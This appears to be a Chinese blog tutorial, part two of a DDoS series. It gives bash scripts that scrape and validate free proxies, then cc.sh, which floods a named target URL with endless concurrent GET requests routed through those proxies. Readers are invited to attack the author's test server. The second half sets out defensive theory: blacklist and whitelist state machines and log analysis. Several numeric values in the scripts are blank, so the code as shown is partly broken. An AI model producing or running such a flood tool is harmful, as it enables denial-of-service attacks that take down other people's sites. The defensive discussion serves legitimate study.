DDoS攻防战 （二） ：CC攻击工具实现与防御理论

故上兵伐谋 其次伐交 其次伐兵 其下攻城 攻城之法 为不得已

知己知彼 百战不殆 不知彼而知己 一胜一负 不知彼不知己 每战必败

——孙子兵法·谋攻

我们将要实现一个进行应用层DDoS攻击的工具，综合考虑，CC攻击方式是最佳选择，并用bash shell脚本来快速实现并验证这一工具，并在最后，讨论如何防御来自应用层的DDoS攻击。

第一步：获取大量可用代理ip:port列表

  网上所处可见免费代理，我们使用http的GET方法抓取html文档，接着使用正则过滤出我们需要的ip port对，然后逐一验证各代理的可用性，最终得到可用的代理ip port对。

 grab_proxy.sh

 #!/bin/bash

 #get proxy list
 declare proxyListFile="proxy.txt"
 declare tmpFile=`mktemp`
 declare url
 declare line
 declare times
 declare ip
 declare port
 declare i
 declare j
 declare mod

 function quit() {
     rm -f $tmpFile
     exit "$1"
 }

 echo "get proxy list... please wait..."

 if [ -r "$proxyListFile" ]
 then
   rm -f $proxyListFile
 fi

 touch $proxyListFile

 for url in  " http://www.youdaili.cn/Daili/guonei/2215.html " \
             " http://www.youdaili.cn/Daili/guonei/2215_2.html" \
             " http://www.youdaili.cn/Daili/guonei/2215_3.html" \
             " http://www.youdaili.cn/Daili/guonei/2215_4.html "
 do
     if GET "$url" > $tmpFile
     then
         grep -oE '^.*<br />.*$' "$tmpFile" | grep -Eo "([0-9]+)(\.[0-9]+){3}:([0-9]+)" \
         | sort -n | uniq | awk -F: '{ printf("%-15s  %s \n",$1,$2); }' >> $proxyListFile
     else
         exec >&
         echo "error: get proxy list fail! chech the url:$url or the network"
         quit
     fi
 done

 echo "done. total `cat $proxyListFile | wc -l` proxy"

 quit
 #exit

参数：

declare proxyListFile="proxy.txt"  #抓取到的代理ip port对所存放的文件路径

 check_proxy.sh

 #!/bin/bash

 #get proxy list
 declare check_threads=
 declare line
 declare times
 declare ip
 declare port
 declare i
 declare j
 declare mod

 function quit() {
     exit "$1"
 }

 #echo "start check proxy's functionality..."

 #retarget the input file to stdin
 if [ "$#" -gt "" ]
 then
     exec <$
 else
     exec >&
     echo "usage: bash $0 proxyListFile.txt"
     echo "error: must have one input arg"
     quit
 fi

 #check proxy's functionality
 times=
 while read line
 do
     times=$((times+))
     j=
     for i in `echo $line | tr ' ' '\n' | grep -E '^[^\s].*$'`
     do
         j=$((j+))
         if [ "$j" -eq  ]
         then
             ip=$i
         else
             port=$i
         fi
     done
     #echo "times=$times ip=$ip port=$port"
     # start test
     if GET -t  -p "http://$ip:$port" "http://baidu.com" &>/dev/null
     then
         echo "$ip $port"
         echo ":) ip=$ip port=$port " &>/dev/null
     else
         echo "invalid ip=$ip port=$port : please check ip:host or network" &>/proc/self/fd/
     fi &
     mod=$((times%check_threads))
     if [ "$mod" -eq "" ]
     then
         wait
     fi
 done

 #close the fd of input file
 exec >&-
 quit
 #exit

参数：

declare check_threads=10 #验证代理可用性时的并发数，看一下代码就会发现，我们使用的是GET http://baidu.com方法，所以，并发数请不要也太高 :) 除非你的目标就是......

总结：应征入伍的士兵共计600人，经过考核的共计449人，如果你还想招募更多的士兵，奉劝一句，苦海无边，回头是岸。
 第二步：吹响战争号角

笔者在一台VPS上建立了一个薄弱的靶机，各位读者请不要太暴力，测试一下就可以了，地址 http://eecs.cc:8080/

笔者把这么重要的信息都放出来了，读者请点个赞吧  :)

 cc.sh

 #!/bin/bash

 declare target_url="http://eecs.cc:8080/"
 declare get_timeout_sec=
 declare line
 declare times
 declare ip
 declare port
 declare i
 declare j

 function quit() {
     exit "$1"
 }

 #retarget the input file to stdin
 if ! [ "$#" -gt "" ]
 then
     exec >&
     echo "challenge collapsar attack -- cc attack"
     echo "usage: bash $0 proxyListFile.txt"
     echo "error: must have one input arg"
     quit
 fi

 echo "report : total `cat $1 | wc -l` proxy-soldiers are ready for command"
 echo "command: target: $target_url"
 echo "command: start challenge collapsar attack   :)   amazing..."

 exec <$
 #start challenge collapsar attack

 while true
 do
     times=
     exec <&-
     exec <$
     while read line
     do
         times=$((times+))
         j=
         for i in `echo $line | tr ' ' '\n' | grep -E '^[^\s].*$'`
         do
             j=$((j+))
             if [ "$j" -eq  ]
             then
                 ip=$i
             else
                 port=$i
             fi
         done
         echo "times=$times ip=$ip port=$port"
         #single soldier attack
         if GET -t "$get_timeout_sec" -p "http://$ip:$port" "$target_url" &>/dev/null
         then
             echo "soldier$times attack $target_url :)"
         else
             echo "soldier$times attack $target_url miss"
         fi &
     done
     wait
 done

 #close the fd of input file
 exec >&-
 quit
 #exit

读者可自行尝试攻击这个站点，然后使用浏览器访问查看服务器网络状况，此时大量连接处于TIME_WAIT状态，参考TCP状态机，这一状态为主动关闭一方的最终等待状态。

请不要恶意攻击别人的网站 如果因此被关了进去 没有人能把你弄出来

  

  应用层DDoS的防御理论：

  问题模型描述：

  每一个页面，都有其资源消耗权重，静态资源，权重较低，动态资源，权重较高。对于用户访问，有如下：

用户资源使用频率=使用的服务器总资源量/s

  命题一：对于正常访问的用户，资源使用频率必定位于一个合理的范围，当然会存在大量正常用户共享ip的情况，这就需要日常用户访问统计，以得到忠实用户ip白名单。

  命题二：资源使用频率持续异常的，可断定为访问异常的用户。

  防御体系状态机：

  1.在系统各项资源非常宽裕时，向所有ip提供服务，每隔一段时间释放一部分临时黑名单中的ip成员；

  2.在系统资源消耗达到某一阈值时，降低Syn包接受速率，循环：分析最近时间的日志，并将访问异常的ip加入临时黑名单；

  3.若系统资源消耗慢慢回降至正常水平，则恢复Syn包接受速率，转到状态1；若目前策略并未有效地控制住系统资源消耗的增长，情况继续恶劣至一极限阈值，转到状态4；

  4.最终防御方案，使用忠实用户ip白名单、异常访问ip黑名单策略，其他访问可慢慢放入，直到系统资源消耗回降至正常水平，转到状态1。

 

 上述的防御状态机，对于单个攻击IP高并发的DDOS，变化到状态3时，效果就完全体现出来了，但如果防御状态机进行到4状态，则有如下两种可能：

  1.站点遭到了攻击群庞大的、单个IP低并发的DDOS攻击；

2.站点突然间有了很多访问正常的新用户。

 建议后续工作：

  保守：站点应尽快进行服务能力升级。

积极：尽所能，追溯攻击者。

  追溯攻击者：
    CC：proxy-forward-from-ip
    单个IP高并发的DDOS：找到访问异常的、高度可疑的ip列表，exploit，搜集、分析数据，因为一个傀儡主机可被二次攻占的概率很大（但不建议这种方法）
    单个IP低并发的DDOS：以前极少访问被攻击站点，但是在攻击发生时，却频繁访问我们的站点，分析日志得到这一部分ip列表

   追溯攻击者的过程中，snat与web proxy增加了追踪的难度，如果攻击者采用多个中继服务器的方法，追溯将变得极为困难。

      

防御者：

    1.应对当前系统了如指掌，如系统最高负载、最高数据处理能力，以及系统防御体系的强项与弱点
    2.历史日志的保存、分析
    3.对当前系统进行严格安全审计
    4.上报公安相关部分，努力追溯攻击者
    5.网站，能静态，就一定不要动态，可采取定时从主数据库生成静态页面的方式，对需要访问主数据库的服务使用验证机制

6.防御者应能从全局的角度，迅速及时地发现系统正在处于什么程度的攻击、何种攻击，在平时，应该建立起攻击应急策略，规范化操作，免得在急中犯下低级错误

  对历史日志的分析这时将会非常重要，数据可视化与统计学的方法将会很有益处：

    1.分析每个页面的平均访问频率

2.对访问频率异常的页面进行详细分析 分析得到ip-页面访问频率

3.得到对访问异常页面的访问异常ip列表

4.对日志分析得到忠实用户IP白名单

5.一般一个页面会关联多个资源，一次对于这样的页面访问往往会同时增加多个资源的访问数，而攻击程序一般不会加载这些它不感兴趣的资源，所以，这也是一个非常好的分析突破点

本文主要讲述了DDoS攻击之一的CC攻击工具实现，以及如何防御来自应用层的DDoS攻击的理论总结。接下来的文章，笔者将会实现一个工作于内核态的、具有黑名单功能的防火墙模块，以对应于上述防御状态机中的防火墙单元，它实现了自主地动态内存管理，使用hash表管理ip列表，并可以自定义hash表的modular。

如有问题或者建议，欢迎留言讨论 :)

附录：

　　《DDoS攻防战 （一） ： 概述》